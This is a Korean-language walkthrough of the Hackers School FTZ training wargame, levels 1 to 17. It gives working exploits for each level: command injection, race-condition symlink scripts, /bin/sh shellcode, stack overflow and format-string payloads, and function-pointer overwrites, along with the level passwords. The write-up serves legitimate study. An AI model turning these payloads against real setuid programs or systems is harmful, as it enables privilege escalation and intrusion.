Contents 1. 목적 풀이 Level

Similar documents
Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

PowerPoint Template

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

PowerPoint 프레젠테이션

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft Word - building the win32 shellcode 01.doc

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

/chroot/lib/ /chroot/etc/

hlogin2

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Deok9_Exploit Technique

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

History

강의10

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

6주차.key

PowerPoint 프레젠테이션

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft PowerPoint - chap05-제어문.pptx

PowerPoint 프레젠테이션

Microsoft Word - readme.doc

PowerPoint 프레젠테이션

금오공대 컴퓨터공학전공 강의자료

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

PowerPoint 프레젠테이션

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

1장. 유닉스 시스템 프로그래밍 개요

슬라이드 1

PowerPoint 프레젠테이션

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

BMP 파일 처리

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Tcl의 문법

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

RTL

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

hlogin7

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Return-to-libc

PowerPoint Presentation

chap7.key

CD 무결성체크는 SKIP 을해도좋습니다. Next 버튼을누릅니다. Next 버튼을누릅니다.

vi 사용법

고급 IPC 설비

작성자 : 기술지원부 김 삼 수


슬라이드 1

untitled

Chapter_06

제1장 Unix란 무엇인가?

Microsoft PowerPoint - ch07 - 포인터 pm0415

C++ Programming

PowerPoint 프레젠테이션

슬라이드 1

슬라이드 1

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

歯7장.PDF

Adobe Flash 취약점 분석 (CVE )

chap7.PDF

歯9장.PDF

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

Microsoft Word - FreeBSD Shellcode 만들기.docx

2009년 상반기 사업계획

PowerPoint 프레젠테이션

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

11장 포인터

Microsoft PowerPoint - polling.pptx

11장 포인터

중간고사

The Pocket Guide to TCP/IP Sockets: C Version

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap01-C언어개요.pptx

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

PowerPoint 프레젠테이션

10.

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

13 주차문자열의표현과입출력

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

Microsoft PowerPoint - [2009] 02.pptx

ABC 11장

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - 09-Pipe

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

Microsoft PowerPoint - 제9강 문자열

11장 포인터

<52544CC0BB20BEC6B4C2B0A12E687770>

Microsoft PowerPoint - chap03-변수와데이터형.pptx

슬라이드 1

PowerPoint 프레젠테이션

Sena Technologies, Inc. HelloDevice Super 1.1.0

Transcription:

FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1

Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 ----------------------------------------------------------------------- 3 Level2 ----------------------------------------------------------------------- 4 Level3 ----------------------------------------------------------------------- 5 Level4 ----------------------------------------------------------------------- 7 Level5 ----------------------------------------------------------------------- 9 Level6 ----------------------------------------------------------------------- 3 Level7 ----------------------------------------------------------------------- 3 Level8 ----------------------------------------------------------------------- 3 Level9 ----------------------------------------------------------------------- 3 Level10 --------------------------------------------------------------------- 3 Level11 --------------------------------------------------------------------- 3 Level12 --------------------------------------------------------------------- 3 Level13 --------------------------------------------------------------------- 3 Level14 --------------------------------------------------------------------- 3 Level15 --------------------------------------------------------------------- 3 Level16 --------------------------------------------------------------------- 3 Level17 --------------------------------------------------------------------- 3 Level18 --------------------------------------------------------------------- 3 Level19 --------------------------------------------------------------------- 3 Level20 --------------------------------------------------------------------- 3 3. 마치며 ----------------------------------------------------------- 3 2

1. 목적 본문서는 FTZ 문제를풀이보고서를작성함으로써복습과실력향상에의의를두었습니다. 그러므로기본적인내용은생략할것입니다. 초보분들이라면해커스쿨의 trainer 코스를추천해드리며 해킹공격의예술 과 shellcoder's handbook 이란책을추천해드립니다. // 리눅스환경은 redhat-release-9-3 입니다. ( 랜덤스택적용 ) *FTZ 란 Free Training Zone 의약자로써해커스쿨에서배포하는워게임입니다. 20 가지나되는문제 와여러가지기법을무료로트레이닝할수있는서버입니다. 2. 풀이 Level1 접속하자마자 hint 를보게되면 [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. 파일을찾는명령어는 find 명령어로찾습니다. 유저이름을찾는옵션 user, 특정권한을찾아주는옵션 perm, 그리고오류메시지를없애주 는 2>/dev/null 리다이렉션명령어도붙여서찾아보겠습니다. [level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null /bin/executeme 찾은파일을실행해보면 3

레벨 2 의권한으로당신이원하는명령어를 한가지실행시켜드리겠습니다. ( 단, my-pass 와 chmod 는제외 ) 어떤명령을실행시키겠습니까? [level2@ftz level2]$ Setuid 로인해현재의권한은 level2 입니다. Level2 의권한을유지시키려면쉘을실행해주면됩 니다. [level2@ftz level2]$ sh sh-2.05b$ my-pass Level2 Password is "hacker or cracker". Level2 Hint 를보면 [level2@ftz level2]$ cat hint 텍스트파일편집중쉘의명령을실행시킬수있다는데... 파일을찾기위해 level1 과같은방법으로찾아보겠습니다. [level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null /usr/bin/editor /usr/bin/editor 을실행시켜보면 vim 파일이실행이됩니다. 이파일은지금 setuid 로인해소유자의권한으로실행돼있는상태입니다. 여기서쉘을실행시키 4

거나 my-pass 명령어를실행하면소유자의권한으로명령어가수행합니다. 어떻게 vim안에서쉘명령어를내릴수있을까요? 커맨드라인에서! 를이용하면쉘명령을내릴수있다고합니다. 그이유는 vim에서문서나코드를짜고있다가일이생겨저장후종료를한후명령어를내리고다시 vim실행시키고하기까다롭기때문입니다. :!sh 혹은 :!my-pass 을실행해주면완료 Level3 Password is "can you fly?". Level3 다음코드는 autodig 의소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); 5

이를이용하여 level4 의권한을얻어라. more hints. - 동시에여러명령어를사용하려면? - 문자열형태로명령어를전달하려면? 파일이름을알았으니옵션 name 을이용해서 autodig 를찾아봅시다. [level3@ftz level3]$ find / -name autodig 2>/dev/null /bin/autodig 일단 level4의권한을얻는걸목적으로하고소스를분석해봅시다. 인자를꼭하나만써야하고문자열함수로인해입력한인자를 dig @+ 인자 [1]+version.bind chaos txt 이러한문자열로바꾼후 system함수로위문자열을실행하게됩니다. system 함수로실행할문자열은 sh가좋은데어떻게하면좋을까요? 이는명령어를나눠주면서동시에실행시키는 ;( 세미콜론 ) 을입력해주면됩니다. 사실엄밀히말하면절차적으로실행됩니다. 그래서 ; 로나눠지면명령어가잘실행이안되니 으로묶어주면됩니다. [level3@ftz level3]$ /bin/autodig ";sh;" dig: Couldn't find server '': Name or service not known sh-2.05b$ my-pass Level4 Password is "suck my brain". Level4 [level4@ftz level4]$ cat hint 누군가 /etc/xinetd.d/ 에백도어를심어놓았다.! /etc/xinetd.d/backdoor 파일을열어보면 file명령어를사용해서확인해보면 ASCII text인걸확인할수있다. 파일을보면 6

[level4@ftz xinetd.d]$ cat backdoor service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID xinetd데몬은네트워크서비스에대한접근제어를해준다고생각하면된다. 그에종속된프로그램은자체적으로소켓을열고리슨하고이러한작업을안해도된다. xinetd의가장큰특징은쉘을실행하면 xinetd로통신이계속되기때문에로컬에서오버플로우한것처럼해도연결이되있어서원격으로오버플로우가가능합니다. 또한 xinetd에등록한유저로쉘을실행하는걸로되니 setuid가없어도오버플로우가가능합니다. 위의글을보면 finger 서비스를 level5 권한으로 /home/level4/tmp/backdoor 실행되는것입니다. finger명령어는현재시스템에접속한사용자들의정보를 /etc/passwd읽어서보여주는명령어입니다. 이때두에 host명과 user명을입력하여원격으로사용자의정보를볼수있습니다. 이를이용하여백도어를실행해보겠습니다. /home/level4/tmp/backdoor #include <stdio.h> 란파일을만듭니다. int int main(){ main(){ system( my-pass ); 그런다음 finger 명령어를실행해주면완료. 7

[level4@ftz tmp]$ finger level4@127.0.0.1 ^[[H^[[J Level5 Password is "what is your name?". Level5 [level5@ftz level5]$ cat hint /usr/bin/level5 프로그램은 /tmp 디렉터리에 level5.tmp 라는이름의임시파일을생성한다. 레이스컨디션문제입니다. 사전적인뜻으로는경쟁상태라는뜻이고둘이상의조작또는입력이동시에이루어지는상태를말합니다. 이를이용해서이번 level5를클리어해보겠습니다. 일단레이스컨디션을하려면조건이몇가지있습니다. 임시파일의정확한경로와파일이름이필요하고뭘실행했을때임시파일이생성되는지를알아야합니다. 이번힌트에서는이모든걸가리켜주니상당히편하게진행하게됩니다. 사실먼저 level5.tmp를만든후거기에심볼릭링크를이용하는방법도있지만정석적으로풀어보도록하겠습니다. 일단백그라운드에서 /usr/bin/level5를 10000번실행하는파일하나, 포어그라운드에서 10000번심볼릭링크를걸어주는파일하나를만든후동시에실행하면임시파일이심볼릭이걸린파일에다가내용을쓰고링크만끊어지도록됩니다. 바로진행해보겠습니다. #include <stdio.h> int main(){ int i; for(i=0;i<10000;i++){ system("/usr/bin/level5"); boom1 소스 //level5 를계속실행해줍니다. 8

#include <stdio.h> int main(){ int i; system("touch /tmp/moomoo.txt"); for(i=0;i<10000;i++);{ system("ln -sf /tmp/moomoo.txt /tmp/level5.tmp"); system("cat /tmp/moomoo.txt"); boom2 소스 // 임시파일과 moomoo.txt를링크시킵니다.. #!/usr/bin/env python import os os.system("/home/level5/tmp/boom1 &") os.system("/home/level5/tmp/boom2") boom 소스 (python) // 동시에 boom1 boom2를실행해줍니다. python boom.py를입력해주면레이스컨디션이발생하면서임시파일이남아있게됩니다. [level5@ftz tmp]$ python boom.py next password : what the hell Level6 hint - 인포샵 bbs 의텔넷접속메뉴에서많이사용되던해킹방법이다. 접속하자마자힌트파일이뜹니다. 그후 9

##################################### ## ## ## 텔넷접속서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## ##################################### 접속하고싶은 bbs 를선택하세요 : 이러한화면이뜨면서 bss를선택하라고한다. 정리해보면 level6계정으로접속하자마자힌트를띄우고 bss접속서비스로들어가게된다. 힌트메시지에서프로세스를강제적으로죽이면쉘화면으로돌아갈것이다. 방법은시그널에있다. 시그널이란아주간단한신호를프로세스와프로세스간혹은프로세스와사용자와소통을하기위한시그널입니다. 시그널은복잡한메시지는못하고직관적인메시지를날릴때사용하는데리눅스에도수십가지의 signal을제공합니다. 그런신호중에 kill신호가있는데 ctrl + c를입력해주면신호가발생됩니다. sigkill 신호를보낸후 password 파일을확인해보면클리어됩니다. [level6@ftz level6]$ ls hint password public_html tmp tn [level6@ftz level6]$ cat password Level7 password is "come together". Level7 /bin/level7 명령을실행하면, 패스워드입력을요청한다. 1. 패스워드는가까운곳에.. 2. 상상력을총동원하라. 3. 2진수를 10진수를바꿀수있는가? 4. 계산기설정을공학용으로바꾸어라. 10

/bin/level7 을실행해보니입력창이나오는데일단 asdf 를입력해보겠습니다. [level7@ftz level7]$ /bin/level7 Insert The Password : asdf 올바르지않은패스워드입니다. 패스워드는가까운곳에... --_--_- -- - ---_- -- -_- 힌트와조합해서생각해보겠습니다. 키워드만나열해보면 2진수가까운곳공학용정도인데감이딱오는게저이상한암호문처럼보이는문자열입니다. 이문자열의하이픈이 1 언더바가 0이라가정해서암호를풀어서 password를입력해보겠습니다. --_--_- -- - ---_- -- -_- > 1101101 1100001 1110100 1100101 > 109 97 116 101 잘보면 2진수가 7칸입니다. 7bit하면떠오르는것은아스키코드입니다. 아스키코드로변환해보면 mate라는문자열이나옵니다. [level7@ftz level7]$ /bin/level7 Insert The Password : mate Congratulation! next password is "break the world". Level8 level9 의 shadow 파일이서버어딘가에숨어있다. 그파일에대해알려진것은용량이 "2700" 이라는것뿐이다. find명령어의옵션 size를이용해서찾아보겠습니다. -size 옵션은뒤에숫자 + 접미사 (bckw) 를붙여서사용합니다. 용량 2700이바이트인지킬로바이트인지모르니하나하나붙여서검색해보겠습니다. // 접미사 b 512byte블록, c bytes, k kilobytes, w 2byte word (man page 참고 ) 11

[level8@ftz level8]$ find / -size 2700c 2>/dev/null /var/www/manual/ssl/ssl_intro_fig2.gif /etc/rc.d/found.txt ----------------------------------------------수상함. /usr/share/man/man3/io::pipe.3pm.gz /usr/share/man/man3/uri::data.3pm.gz 검색을하는도중수상한파일을발견했습니다. [level8@ftz level8]$ cat /etc/rc.d/found.txt level9:$1$vky6sslg$6ryuxtnmevgsfy7xf0wps.:11040:0:99999:7:-1:-1:134549524 level9:$1$vky6sslg$6ryuxtnmevgsfy7xf0wps.:11040:0:99999:7:-1:-1:134549524 level9:$1$vky6sslg$6ryuxtnmevgsfy7xf0wps.:11040:0:99999:7:-1:-1:134549524 ( 중략 ) 열어보니 level9 의 shadow 파일입니다. 이를이용해서 shadow 크랙으로유명한존더리퍼로 크랙해보면 apple 이란것을알수있습니다. 12

Level9 다음은 /usr/bin/bof 의소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("it can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ){ printf("good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); 이를이용하여 level10 의권한을얻어라. 드디어 buffer overflow 문제이다. 소스를보면 buf2에 go란문자열이있는지비교해보고참이면권한을 level10으로바꿔준후쉘을얻는파일이다.buf에서문자열을채워서 buf2에 go를입력해주면되는데권한때문에 gdb ltrace 등등안되기때문에그리큰버퍼가아니니일일이쳐서확인해보겠습니다. // 위소스를복사해서하면됩니다만추측이쉬운문제이기때문에생략합니다. [level9@ftz level9]$ /usr/bin/bof It can be overflow : asdfasdfasdfasdfgo Good Skill! [level10@ftz level9]$ my-pass Level10 Password is "interesting to hack!". 13

Level10 두명의사용자가대화방을이용하여비밀스런대화를나누고있다. 그대화방은공유메모리를이용하여만들어졌으며, key_t의값은 7530이다. 이를이용해두사람의대화를도청하여 level11의권한을얻어라. - 레벨을완료하셨다면소스는지우고나가주세요. 키워드로정리해보면 공유메모리, key_t = 7530, 도청입니다. 공유메모리란여러프로세스가함께사용하는메모리를말합니다. 이공유메모리를이용하면프로세스끼리통신을할수있으며같은데이터를공유할수있습니다. 메모리를같이사용하기위해서는공유메모리를생성한후프로세스의자신의영역에첨부를한후마치자신의메모리를사용하듯사용하면됩니다. key_t는공유메모리식별 key입니다. 위의두정보와공유메모리함수 shmget(), shmat() 를이용해서도청을해보겠습니다. // 공유메모리정보 // http://www.joinc.co.kr/modules/moniwiki/wiki.php/site/system_programing/ipc/sharedmemory 일단 ipcs 명령어로공유메모리의상황을보겠습니다. [level10@ftz level10]$ ipcs ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00001d6a 0 root 666 1028 0 ------ Semaphore Arrays -------- key semid owner perms nsems ------ Message Queues -------- key msqid owner perms used-bytes messages 14

메모리의 key 와크기까지알았습니다. (0x1d6a ==7530 ) c 프로그래밍으로공유메모리에연결해보겠습니다. #include <sys/ipc.h> #include <sys/shm.h> #include <unistd.h> int main(){ int shmid; long shared_memory; int key_t=7530; shmid = shmget(key_t, 1028, IPC_CREAT); shared_memory=shmat(shmid, 0, SHM_RDONLY); printf("%s\n",shared_memory); boom 소스 [level10@ftz tmp]$./boom 멍멍 : level11의패스워드는? 구타 : what!@#$? Level11 #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); 15

힌트를보면이러한소스가나와있다. 소스를분석해보면노골적으로 buffer overflow 취약점과 format string bug가있습니다. 둘다상당히중요한공격이기때문에이번문제는각각의취약점을이용해서 2번풀것입니다. 시스템해킹에입문을하면처음으로느끼는벽이바로스택, 어셈블리입니다. 이과정에서효과적으로공부하는방법은스스로쉘코드를만드는것이가장좋다고생각합니다. 쉘코드를만드는법은관련링크와예제를남기고생략하고바로문제풀이나가겠습니다. http://www.hackerschool.org/hs_boards/data/lib_system/willy_sc.txt 이문서를본후.globl main main: xor %eax, %eax push %eax push $0x68732f2f ----- /bin//sh 리틀엔디안적용, 8bit맞춤 push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx mov %eax, %edx movb $0x0b, %al int $0x80 // 이코드를직접짜보면서좀더깊게생각해보면좋습니다.. 그럼 level11 문제를 buffer overflow로풀어보겠습니다. 일단 attackme 파일은 setuid가걸려있습니다. setuid가걸려있어서 gdb로분석하는게불가능하지만읽기권한이있기때문에 cp로복사해서 gdb로분석해보면됩니다. 이때주의할것은복사한파일명길이를똑같이복사해야합니다. 분석할오차를줄이기때문입니다. 16

일단 strcpy 다음부분에브포를걸고문자열을적당히집어넣어보겠습니다. (gdb) b *main+53 Breakpoint 1 at 0x80484a5 (gdb) r `python -c 'print "\x41"*100'` Starting program: /home/level11/tmp/atta `python -c 'print "\x41"*100'` 그다음문자열이들어간주소를확인하고 ret 와의거리를알아보겠습니다. (gdb) x/8x $esp 0xbffff7e0: 0xbffff7f0 0xbffffad6 0xbffff810 0x00000001 0xbffff7f0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) p $ebp-0xbffff7f0+4 $1 = (void *) 0x10c (gdb) p 0x10c $2 = 268 ret와의거리는 268인걸알았습니다. 그럼 ret주소를 /bin/sh 을실행시키는쪽으로흐름조절을해주면쉘을따내게됩니다. 하지만랜덤스택이적용되있기때문에한큐에 bof를성공하기어렵습니다. 그러면어떻게해야할까요? 불행중다행으로랜덤스택이완벽한랜덤스택이아닙니다. 스택의상단에환경변수주소들이모여있는데이주소는랜덤하지않기때문에이주소를이용해서공격해보겠습니다. [level11@ftz tmp]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5 0\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [level11@ftz level11]$ /tmp/moomoo moomoo's address at 0xbffffda1 환경변수추가후 getenv() 를이용해서환경변수주소를찾았습니다. 17

[level11@ftz level11]$./attackme `python -c 'print "\x90"*268+"\xa1\xfd\xff\xbf"'` 세그멘테이션오류 [level11@ftz level11]$./attackme `python -c 'print "\x90"*268+"\xb1\xfd\xff\xbf"'` sh-2.05b$ my-pass TERM environment variable not set. Level12 Password is "it is like this". 환경변수를넉넉하게 \x90를넣어주는이유가조금의오차가날수도있기때문입니다. 끝부분만약간수정하니성공했습니다. 이번에는 format string bug를이용해서풀어보겠습니다. format string bug란 printf(str) 같이포맷을지정하지않을때발생하는버그입니다. format string bug를하려면.dtors를이용해야하는데.dtors란소멸자들의리스트를저장한곳입니다. 소멸자는메인함수가끝난후호출되는것들의모임입니다. 소멸자에환경변수를등록하면메인함수가끝난후쉘코드를실행하여쉘을획득하는겁니다. 일단.dtors의주소를확인합니다. [level11@ftz level11]$ objdump -h./attackme grep.dtors 18.dtors 00000008 0804960c 0804960c 0000060c 2**2.dtors 는소멸자의리스트입니다. 그러므로.dtors 의주소 +4 부터소멸자들이있습니다. (0x08049610) 소멸자주소에환경변수를 %hn 형식을이용하여 2byte 씩저장하겠습니다. [level11@ftz level11]$./attackme `python -c 'print "AAAA\x12\x96\x04\x08BBBB\x10\x96\x04\x08"+"%8x%8x%8x"+"%49111c%hn"+"%15 794c%hn"'` 40+49111 byte ->0xbfff 40+49111+15794 byte ->0xfdb1 sh-2.05b$ my-pass TERM environment variable not set. Level12 Password is "it is like this". 18

Level12 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( " 문장을입력하세요.\n" ); gets( str ); printf( "%s\n", str ); level11 과같은문제이지만입력값을 argv[1] 이아닌내부입력값으로처리하는게다릅니다. 어 차피 level11 과같은변수크기이니 level11 과같은페이로드를써도됩니다. [level12@ftz level12]$ (python -c 'print "\x90"*268+"\xb1\xfd\xff\xbf"';cat)./attackme 문장을입력하세요.???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? 깰 내부입력값으로오버플로우하는방법을요구하는문제라고생각합니다. 여기서문제가성공적 으로오버플로우가되도입력값을요구하는것처럼커서가그대로입니다. 당황하지말고 mypass 를입력하시면됩니다. my-pass TERM environment variable not set. Level13 Password is "have no clue". 19

Level13 #include <stdlib.h> main(int argc, char *argv[]) { long i=0x1234567; char buf[1024]; setreuid( 3094, 3094 ); if(argc > 1) strcpy(buf,argv[1]); if(i!= 0x1234567) { printf(" Warnning: Buffer Overflow!!! \n"); kill(0,11); 스택가드가소스상으로구현된문제입니다. 오버플로우시 i 변수를주의해서 ret 까지덮어준다면 문제없습니다. (gdb) b *main+66 Breakpoint 1 at 0x80484e2 (gdb) r `python -c 'print "A"*100'` Starting program: /home/level13/tmp/atta `python -c 'print "A"*100'` Breakpoint 1, 0x080484e2 in main () (gdb) x/8x $esp 0xbfffe1c0: 0xbfffe1d0 0xbffffbbf 0x00000000 0x00000000 0xbfffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) p $ebp-0xbfffe1d0+4 $1 = (void *) 0x41c (gdb) p 0x41c $2 = 1052 buf[1024] 와 ret 사이의거리를구했습니다. 20

0x080484e2 <main+66>: add $0x10,%esp 0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp) 0x080484ec <main+76>: je 0x804850d <main+109> gdb 로 cmpl 을주의해서보면 i 변수의위치를알수있습니다. 0xfffffff4->- 0xc [level13@ftz level13]$ /tmp/moomoo moomoo's adddress at 0xbffffda1 ----------------------환경변수 ( 오차조금있음 ) [level13@ftz level13]$./attackme `python -c 'print "\x90"*(1052-16)+"\x67\x45\x23\x01"+"\x90"*12+"\xb1\xfd\xff\xbf"'` // 여기서 -16인이유는 ebp를포함했기때문. 즉, ret까지계산했기때문입니다. sh-2.05b$ my-pass TERM environment variable not set. Level14 Password is "what that nigga want?". ebp 기준 -16 에서 0x1234567 을덮은후그대로오버플로우시켰습니다. Level14 #include <stdio.h> #include <unistd.h> main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); 21

check 변수에 0xdeadbeef 가들어있다면쉘을실행하는문제입니다. buf[20] 에서입력값을받는데 check 의위치를잘파악하면쉽게풀수있는문제입니다. 0x080484a1 <main+17>:lea 0x080484a4 <main+20>:push 0x080484a5 <main+21>:call 0xffffffc8(%ebp),%eax %eax 0x8048360 <fgets> 이부분을잘보니 buf 의위치를알겠습니다. 0xffffffc8 -> -0x38 -> -56 입니다. 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp) 0x080484b4 <main+36>: jne 0x80484db <main+75> cmpl 을보면비교하는위치를알았습니다. 즉, check 의위치를알았다는거죠. 0xfffffff0 -> -0x10 -> -16 [level14@ftz level14]$ (python -c 'print "\x90"*(56-16)+"\xef\xbe\xad\xde"';cat)./attackme my-pass Level15 Password is "guess what". 22

Level15 #include <stdio.h> main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); level14와다른점은 *check란점입니다. 그지어렵지않습니다. 소스상에 deadbeef가있으니이걸힌트삼아 gdb로분석하면풀수있는문제입니다. 0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax ----- -16(ebp) 0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax) 0x080484b6 <main+38>: jne 0x80484dd <main+77> (%eax) 가먼지알면풀수있습니다. 그럼브포를걸어서코드세그먼트부분을찾아보겠습니다. (gdb) x/x 0x80484b0 0x80484b0 <main+32>: 0xbeef3881 (gdb) x/x 0x80484b2 0x80484b2 <main+34>: 0xdeadbeef 이런식으로찾을수있습니다. level 14 와구성은같으니바로공격하면되겠습니다. 23

[level15@ftz level15]$ (python -c 'print "\x90"*(56-16)+"\xb2\x84\x04\x08"';cat)./attackme my-pass Level16 Password is "about to cause mass". Level16 #include <stdio.h> void shell() { setreuid(3097,3097); system("/bin/sh"); void printit() { printf("hello there!\n"); main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); 오버플로우로 void (*call)=printit 부분을 shell() 로흐름을조작해주면되겠습니다. 알아야할건 (*call) 의위치와 shell() 의주소입니다. [level16@ftz level16]$ nm./attackme grep shell 080484d0 T shell shell 의주소를알아냈습니다. 24

0x08048530 <main+24>: lea 0xffffffc8(%ebp),%eax --- -56(%ebp) 0x08048533 <main+27>: push %eax 0x08048534 <main+28>: call 0x8048384 <fgets> 0x08048539 <main+33>: add $0x10,%esp 0x0804853c <main+36>: mov 0xfffffff0(%ebp),%eax -- -16(%ebp) 0x0804853f <main+39>: call *%eax 알아야할정보는다알았습니다. 바로공격들어가보겠습니다. [level16@ftz level16]$ (python -c 'print "\x90"*(56-16)+"\xd0\x84\x04\x08"';cat)./attackme my-pass Level17 Password is "king poetic". Level17 #include <stdio.h> void printit() { printf("hello there!\n"); main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call(); *call() 함수포인터를돌려놓을때가없습니다. 그래서환경변수에쉘코드를올려놓고흐름을조작 25

하겠습니다. [level17@ftz level17]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5 0\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [level17@ftz level17]$ /tmp/moomoo moomoo's address at 0xbffffda1 환경변수를올려놓습니다. 0x080484be <main+22>: push $0x30 0x080484c0 <main+24>: lea 0xffffffc8(%ebp),%eax -- -56(%ebp) 0x080484c3 <main+27>: push %eax 0x080484de <main+54>: add $0x10,%esp 0x080484e1 <main+57>: mov 0xfffffff0(%ebp),%eax <- -16(ebp) 0x080484e4 <main+60>: call *%eax buf[20] 의위치와 *call() 의위치를알았습니다. [level17@ftz level17]$ (python -c 'print "\x90"*(56-16)+"\xb1\xfd\xff\xbf"';cat)./attackme my-pass TERM environment variable not set. Level18 Password is "why did you do it". 26

